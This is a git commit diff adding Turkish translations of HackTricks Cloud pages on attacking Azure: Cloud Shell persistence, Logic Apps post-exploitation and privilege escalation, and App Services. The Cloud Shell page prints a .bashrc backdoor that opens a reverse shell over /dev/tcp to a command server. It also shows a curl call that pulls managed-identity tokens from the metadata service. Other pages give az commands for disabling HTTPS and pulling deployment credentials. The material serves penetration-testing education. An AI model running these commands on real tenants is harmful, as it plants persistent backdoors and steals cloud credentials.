Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

This commit is contained in:
Translator
2025-01-26 15:18:54 +00:00
parent aa164958d3
commit 547a1c7322
12 changed files with 873 additions and 86 deletions

View File

@@ -409,6 +409,7 @@
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
@@ -452,6 +453,7 @@
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
@@ -471,6 +473,7 @@
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
- [Az - Logic Apps Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md)
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md)
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md)
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
@@ -480,6 +483,7 @@
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
- [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)

View File

@@ -0,0 +1,56 @@
# Az - Cloud Shell Sürekliliği
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Cloud Shell Sürekliliği
Azure Cloud Shell, Azure kaynaklarını yönetmek için kalıcı depolama ve otomatik kimlik doğrulama ile komut satırı erişimi sunar. Saldırganlar, kalıcı ana dizine arka kapılar yerleştirerek bunu istismar edebilir:
* **Kalıcı Depolama**: Azure Cloud Shellin ana dizini, bir Azure dosya paylaşımına monte edilir ve oturum sona erdikten sonra bile sağlam kalır.
* **Başlangıç Betikleri**: .bashrc gibi dosyalar, her oturumun başlangıcında otomatik olarak çalıştırılır ve bulut kabuğu başladığında kalıcı yürütme sağlar.
.bashrc'deki örnek arka kapı:
{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
{% endcode %}
Bu arka kapı, kullanıcı tarafından bulut kabuğu tamamlandıktan 5 dakika sonra bile komutları çalıştırabilir.
Ayrıca, örnek ayrıntıları ve token'lar için Azure'un meta veri hizmetini sorgulayın:
{% code overflow="wrap" %}
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
{% endcode %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View File

@@ -0,0 +1,181 @@
# Az - Logic Apps Post Exploitation
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Logic Apps Veritabanı Post Exploitation
Logic apps hakkında daha fazla bilgi için kontrol edin:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
Bu izinlerle, Logic App iş akışlarını değiştirebilir ve kimliklerini yönetebilirsiniz. Özellikle, iş akışlarına sistem atamalı ve kullanıcı atamalı yönetilen kimlikler atayabilir veya kaldırabilirsiniz; bu, Logic App'in açık kimlik bilgileri olmadan diğer Azure kaynaklarına kimlik doğrulaması yapmasını ve erişmesini sağlar.
{% code overflow="wrap" %}
```bash
az logic workflow identity remove/assign \
--name <workflow_name> \
--resource-group <resource_group_name> \
--system-assigned true \
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
```
{% endcode %}
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
Bu izinlerle, bir App Service Plan üzerinde barındırılan Logic Apps'i oluşturabilir veya güncelleyebilirsiniz. Bu, HTTPS zorlamasını etkinleştirme veya devre dışı bırakma gibi ayarları değiştirmeyi içerir.
{% code overflow="wrap" %}
```bash
az logicapp update \
--resource-group <resource_group_name> \
--name <logic_app_name> \
--set httpsOnly=false
```
{% endcode %}
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
Bu izinle, bir web uygulamasını, App Service Plan üzerinde barındırılan Logic Apps dahil olmak üzere, başlatabilir/durdurabilir/yeniden başlatabilirsiniz. Bu eylem, daha önce durdurulmuş bir uygulamanın çevrimiçi hale getirilmesini ve işlevselliğine devam etmesini sağlar. Bu, iş akışlarını kesintiye uğratabilir, istenmeyen işlemleri tetikleyebilir veya Logic Apps'i beklenmedik bir şekilde başlatarak, durdurarak veya yeniden başlatarak kesinti yaratabilir.
{% code overflow="wrap" %}
```bash
az webapp start/stop/restart \
--name <logic_app_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
Bu izinle, App Service Plan üzerinde barındırılan Logic Apps dahil olmak üzere web uygulamaları için ayarları yapılandırabilir veya değiştirebilirsiniz. Bu, uygulama ayarları, bağlantı dizeleri, kimlik doğrulama yapılandırmaları ve daha fazlasında değişiklik yapılmasına olanak tanır.
{% code overflow="wrap" %}
```bash
az logicapp config appsettings set \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--settings "<key>=<value>"
```
{% endcode %}
### "Microsoft.Logic/integrationAccounts/write"
Bu izinle, Azure Logic Apps entegrasyon hesaplarını oluşturabilir, güncelleyebilir veya silebilirsiniz. Bu, haritalar, şemalar, ortaklar, anlaşmalar ve daha fazlası gibi entegrasyon hesap düzeyindeki yapılandırmaları yönetmeyi içerir.
{% code overflow="wrap" %}
```bash
az logic integration-account create \
--resource-group <resource_group_name> \
--name <integration_account_name> \
--location <location> \
--sku <Standard|Free> \
--state Enabled
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
Bu izinle, bir Azure Logic Apps entegrasyon hesabında toplu yapılandırmalar oluşturabilir veya değiştirebilirsiniz. Toplu yapılandırmalar, Logic Apps'in gelen mesajları toplu işleme için nasıl işlediğini ve grupladığını tanımlar.
{% code overflow="wrap" %}
```bash
az logic integration-account batch-configuration create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <batch_configuration_name> \
--release-criteria '{
"messageCount": 100,
"batchSize": 1048576,
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
Bu izinle, bir Azure Logic Apps entegrasyon hesabında haritalar oluşturabilir veya değiştirebilirsiniz. Haritalar, verileri bir formatından diğerine dönüştürmek için kullanılır ve farklı sistemler ve uygulamalar arasında kesintisiz entegrasyon sağlar.
{% code overflow="wrap" %}
```bash
az logic integration-account map create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <map_name> \
--map-type <Xslt|Xslt20|Xslt30> \
--content-type application/xml \
--map-content map-content.xslt
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
Bu izinle, bir Azure Logic Apps entegrasyon hesabında ortaklar oluşturabilir veya değiştirebilirsiniz. Ortaklar, işten işe (B2B) iş akışlarına katılan varlıkları veya sistemleri temsil eder.
{% code overflow="wrap" %}
```bash
az logic integration-account partner create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <partner_name> \
--partner-type <partner-type> \
--content '{
"b2b": {
"businessIdentities": [
{
"qualifier": "ZZ",
"value": "TradingPartner1"
}
]
}
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
Bu izinle, bir Azure Logic Apps entegrasyon hesabında oturumlar oluşturabilir veya değiştirebilirsiniz. Oturumlar, B2B iş akışlarında mesajları gruplamak ve belirli bir süre boyunca ilgili işlemleri takip etmek için kullanılır.
{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <session_name> \
--content '{
"properties": {
"sessionId": "session123",
"data": {
"key1": "value1",
"key2": "value2"
}
}
}'
```
{% endcode %}
### "*/delete"
Bu izinlerle Azure Logic Apps ile ilgili kaynakları silebilirsiniz.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View File

@@ -0,0 +1,77 @@
# Az - Logic Apps Privesc
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Logic Apps Privesc
SQL Database hakkında daha fazla bilgi için kontrol edin:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
Bu izinle, Azure Logic Apps iş akışları oluşturabilir veya güncelleyebilirsiniz. İş akışları, çeşitli sistemler ve hizmetler arasında otomatik süreçleri ve entegrasyonları tanımlar.
{% code overflow="wrap" %}
```bash
az logic workflow create \
--resource-group <resource_group_name> \
--name <workflow_name> \
--definition <workflow_definition_file.json> \
--location <location>
az logic workflow update \
--name my-new-workflow \
--resource-group logicappgroup \
--definition <workflow_definition_file.json>
```
{% endcode %}
Ve bunu değiştirdikten sonra, şu komutla çalıştırabilirsiniz:
```bash
az rest \
--method post \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
--body '{}' \
--headers "Content-Type=application/json"
```
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
Bu izinlerle, ZIP dosyası dağıtımları kullanarak Logic App iş akışları dağıtabilirsiniz. Bu izinler, uygulama ayrıntılarını okuma, yayınlama kimlik bilgilerine erişme, değişiklik yapma ve uygulama yapılandırmalarını listeleme gibi eylemleri etkinleştirir. Başlatma izinleriyle birlikte, istenen içerikle yeni bir Logic App'ı güncelleyebilir ve dağıtabilirsiniz.
{% code overflow="wrap" %}
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--src <path_to_zip_file>
```
{% endcode %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View File

@@ -6,33 +6,33 @@
Azure App Services, geliştiricilerin **web uygulamaları, mobil uygulama arka uçları ve API'leri sorunsuz bir şekilde oluşturmasını, dağıtmasını ve ölçeklendirmesini** sağlar. Birden fazla programlama dilini destekler ve geliştirilmiş işlevsellik ve yönetim için çeşitli Azure araçları ve hizmetleri ile entegre olur.
Her uygulama bir sandbox içinde çalışır, ancak izolasyon App Service planlarına bağlıdır:
Her uygulama bir kumanda alanında çalışır, ancak izolasyon App Service planlarına bağlıdır:
- Ücretsiz ve Paylaşılan katmanlardaki uygulamalar **paylaşılan VM'lerde** çalışır.
- Standart ve Premium katmanlardaki uygulamalar, yalnızca aynı App Service planındaki uygulamalar tarafından paylaşılan **özel VM'lerde** çalışır.
- İzole katmanlar, uygulamaların izolasyonunu artırarak **özel sanal ağlarda özel VM'lerde** çalışır.
> [!WARNING]
> Bu izolasyonların **hiçbiri** diğer yaygın **web güvenlik açıklarını** (örneğin dosya yükleme veya enjeksiyonlar) **önlemez**. Ve bir **yönetim kimliği** kullanılıyorsa, bu kimlik **yetkileri artırma** yeteneğine sahip olabilir.
> Bu izolasyonların **hiçbiri** diğer yaygın **web güvenlik açıklarını** (örneğin dosya yükleme veya enjeksiyonlar) **önlemez**. Ve bir **yönetim kimliği** kullanılıyorsa, bu kimliklerin **yetkilerini artırma** yeteneğine sahip olabilir.
Uygulamaların bazı ilginç yapılandırmaları vardır:
- **Her Zaman Açık**: Uygulamanın her zaman çalışmasını sağlar. Eğer etkinleştirilmezse, uygulama 20 dakikalık bir etkinlik yokluğundan sonra duracak ve bir istek alındığında tekrar başlayacaktır.
- Eğer sürekli çalışması gereken bir webjob'unuz varsa bu önemlidir, çünkü uygulama durursa webjob da duracaktır.
- Eğer sürekli çalışması gereken bir webjob'unuz varsa bu çok önemlidir, çünkü uygulama durursa webjob da duracaktır.
- **SSH**: Etkinleştirildiğinde, yeterli izinlere sahip bir kullanıcı uygulamaya SSH ile bağlanabilir.
- **Hata Ayıklama**: Etkinleştirildiğinde, yeterli izinlere sahip bir kullanıcı uygulamayı hata ayıklayabilir. Ancak, bu her 48 saatte bir otomatik olarak devre dışı bırakılır.
- **Web Uygulaması + Veritabanı**: Web konsolu, bir veritabanı ile bir Uygulama oluşturmayı sağlar. Bu durumda kullanılacak veritabanını (SQLAzure, PostgreSQL, MySQL, MongoDB) seçmek mümkündür ve ayrıca bir Azure Cache for Redis oluşturmanıza da olanak tanır.
- Veritabanı ve Redis için kimlik bilgilerini içeren URL, **appsettings** içinde saklanacaktır.
- **Konteyner**: Konteynerin URL'sini ve ona erişim için kimlik bilgilerini belirterek App Service'e bir konteyner dağıtmak mümkündür.
- **Mounts**: Azure Blob (Salt Okunur) veya Azure Files olan Depolama hesaplarından 5 mount oluşturmak mümkündür. Yapılandırma, Depolama Hesabı üzerindeki erişim anahtarını saklayacaktır.
- **Mounts**: Azure Blob (Sadece Okuma) veya Azure Files olan Depolama hesaplarından 5 mount oluşturmak mümkündür. Yapılandırma, Depolama Hesabı üzerindeki erişim anahtarını saklayacaktır.
## Temel Kimlik Doğrulama
Bir web uygulaması (ve genellikle bir Azure işlevi) oluştururken, **Temel Kimlik Doğrulama'nın etkinleştirilip etkinleştirilmeyeceğini** belirtmek mümkündür (varsayılan olarak devre dışıdır). Bu, uygulama için **SCM (Kaynak Kontrol Yöneticisi) ve FTP (Dosya Transfer Protokolü)**'nü etkinleştirir, böylece uygulamayı bu teknolojileri kullanarak dağıtmak mümkün olacaktır.
SCM ve FTP sunucularına erişmek için bir **kullanıcı adı ve şifre** gereklidir. Bu nedenle, Azure bu platformlara ve kimlik bilgilerine erişmek için bazı **API'ler sağlar**.
SCM ve FTP sunucularına erişmek için bir **kullanıcı adı ve şifre** gereklidir. Bu nedenle, Azure bu platformlara ve kimlik bilgilerine erişim sağlamak için bazı **API'ler** sunar.
**FTP sunucusu herhangi bir özel sihir** içermez, geçerli URL, kullanıcı adı ve şifre ile bağlanmak ve App ortamında okuma ve yazma izinleri almak mümkündür.
**FTP sunucusunda herhangi bir özel sihir yoktur**, geçerli bir URL, kullanıcı adı ve şifre ile bağlanmak ve App ortamında okuma ve yazma izinleri almak mümkündür.
SCM
SCM'ye bir web tarayıcısı kullanarak `https://<SMC-URL>/BasicAuth` adresinden bağlanabilir ve oradaki tüm dosyaları ve dağıtımları kontrol edebilirsiniz.
@@ -52,25 +52,25 @@ Kudu'da bulabileceğiniz bazı ilginç uç noktalar:
- `/Env`: Sistem, uygulama ayarları, çevre değişkenleri, bağlantı dizeleri ve HTTP başlıkları hakkında bilgi alır.
- `/wwwroot/`: Web uygulamasının kök dizini. Buradan tüm dosyaları indirebilirsiniz.
Ayrıca, Kudu daha önce [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu) adresinde açık kaynaklıydı, ancak proje kullanımdan kaldırıldı ve Azure'daki mevcut Kudu ile eski Kudu'nun davranışını karşılaştırdığınızda **birçok şeyin değiştiğini** görebilirsiniz.
Ayrıca, Kudu daha önce [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu) adresinde açık kaynaklıydı, ancak proje kullanımdan kaldırıldı ve Azure'daki mevcut Kudu'nun eski ile karşılaştırıldığında **birçok şeyin değiştiği** görülebilir.
## Kaynaklar
App Services, varsayılan olarak kodu bir zip dosyası olarak yüklemeye izin verir, ancak ayrıca bir üçüncü taraf hizmetine bağlanarak kodu oradan almayı da sağlar.
App Services, varsayılan olarak kodu bir zip dosyası olarak yüklemeye izin verir, ancak ayrıca bir üçüncü taraf hizmetine bağlanarak kodu oradan almanıza da olanak tanır.
- Şu anda desteklenen üçüncü taraf kaynaklar **Github** ve **Bitbucket**'tır.
- Şu anda desteklenen üçüncü taraf kaynaklar **Github** ve **Bitbucket**'dır.
- Kimlik doğrulama tokenlerini almak için `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` komutunu çalıştırabilirsiniz.
- Azure, varsayılan olarak her kod güncellendiğinde kodu App Service'e dağıtmak için bir **Github Action** ayarlayacaktır.
- Ayrıca, oradan kod almak için bir **uzaktan git deposu** (kullanıcı adı ve şifre ile) belirtmek de mümkündür.
- Uzaktan depo için kimlik bilgilerini almak için `az webapp deployment source show --name <app-name> --resource-group <res-group>` veya `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` komutunu çalıştırabilirsiniz.
- Ayrıca, bir **Azure Repository** kullanmak da mümkündür.
- Ayrıca, bir **Azure Deposu** kullanmak da mümkündür.
- Bir **yerel git deposu** yapılandırmak da mümkündür.
- Git deposunun URL'sini `az webapp deployment source show --name <app-name> --resource-group <res-group>` komutunu çalıştırarak alabilirsiniz ve bu, uygulamanın SCM URL'si olacaktır.
- Klonlamak için `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` komutuyla alabileceğiniz SCM kimlik bilgilerine ihtiyacınız olacaktır.
## Webjobs
Azure WebJobs, **Azure App Service ortamında çalışan arka plan görevleridir**. Geliştiricilerin web uygulamalarıyla birlikte betikler veya programlar çalıştırmasına olanak tanır, bu da dosya işleme, veri işleme veya zamanlanmış görevler gibi asenkron veya zaman alıcı işlemleri daha kolay hale getirir.
Azure WebJobs, **Azure App Service ortamında çalışan arka plan görevleridir**. Geliştiricilerin web uygulamalarıyla birlikte betikler veya programlar çalıştırmasına olanak tanır, bu da dosya işleme, veri işleme veya planlı görevler gibi asenkron veya zaman alıcı işlemleri daha kolay hale getirir.
İki tür web job vardır:
- **Sürekli**: Sonsuz bir döngüde çalışır ve oluşturulur oluşturulmaz tetiklenir. Sürekli işleme gerektiren görevler için idealdir. Ancak, uygulama çalışmayı durdurursa ve 20 dakikadır istek almadıysa, web job da duracaktır.
- **Tetiklenmiş**: Talep üzerine veya bir programa dayalı olarak çalışır. Periyodik görevler, örneğin toplu veri güncellemeleri veya bakım rutinleri için en uygun olanıdır.
@@ -79,15 +79,15 @@ Webjobs, ortamda **kod çalıştırmak** ve ekli yönetilen kimliklere **yetki a
Ayrıca, Webjobs tarafından üretilen **logları** kontrol etmek her zaman ilginçtir, çünkü bu loglar **hassas bilgiler** içerebilir.
## Slots
## Slotlar
Azure App Service Slots, **uygulamanın farklı sürümlerini** aynı App Service'e dağıtmak için kullanılır. Bu, geliştiricilerin yeni özellikleri veya değişiklikleri üretim ortamına dağıtmadan önce ayrı bir ortamda test etmelerine olanak tanır.
Azure App Service Slotları, **uygulamanın farklı sürümlerini** aynı App Service'e dağıtmak için kullanılır. Bu, geliştiricilerin yeni özellikleri veya değişiklikleri üretim ortamına dağıtmadan önce ayrı bir ortamda test etmelerine olanak tanır.
Ayrıca, belirli bir slota **trafik yüzdesi** yönlendirmek mümkündür, bu da A/B testi ve **arka kapı amaçları** için faydalıdır.
## Azure Function Apps
Temelde **Azure Function uygulamaları, Azure App Service'in** bir alt kümesidir ve web konsoluna gittiğinizde tüm uygulama hizmetlerini listelediğinizde veya az cli'de `az webapp list` komutunu çalıştırdığınızda **Function uygulamalarının da orada listelendiğini göreceksiniz**.
Temelde **Azure Function uygulamaları, Azure App Service'in** bir alt kümesidir ve web konsoluna gittiğinizde tüm uygulama hizmetlerini listelediğinizde veya az cli'de `az webapp list` komutunu çalıştırdığınızda **Function uygulamalarının da orada listelendiğini görebilirsiniz**.
Bu nedenle, her iki hizmet de aslında çoğunlukla **aynı yapılandırmalara, özelliklere ve az cli'deki seçeneklere** sahiptir, ancak bunları biraz farklı yapılandırabilirler (örneğin appsettings'in varsayılan değerleri veya Function uygulamalarında bir Depolama Hesabı kullanımı).
@@ -181,10 +181,55 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.Websites
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
# Retrieves details of a specific App Service Environment in the specified resource group.
Get-AzAppServiceEnvironment -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the access restriction configuration for a specified Web App.
Get-AzWebAppAccessRestrictionConfig -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the SSL certificates for a specified resource group.
Get-AzWebAppCertificate -ResourceGroupName <ResourceGroupName>
# Retrieves the continuous deployment URL for a containerized Web App.
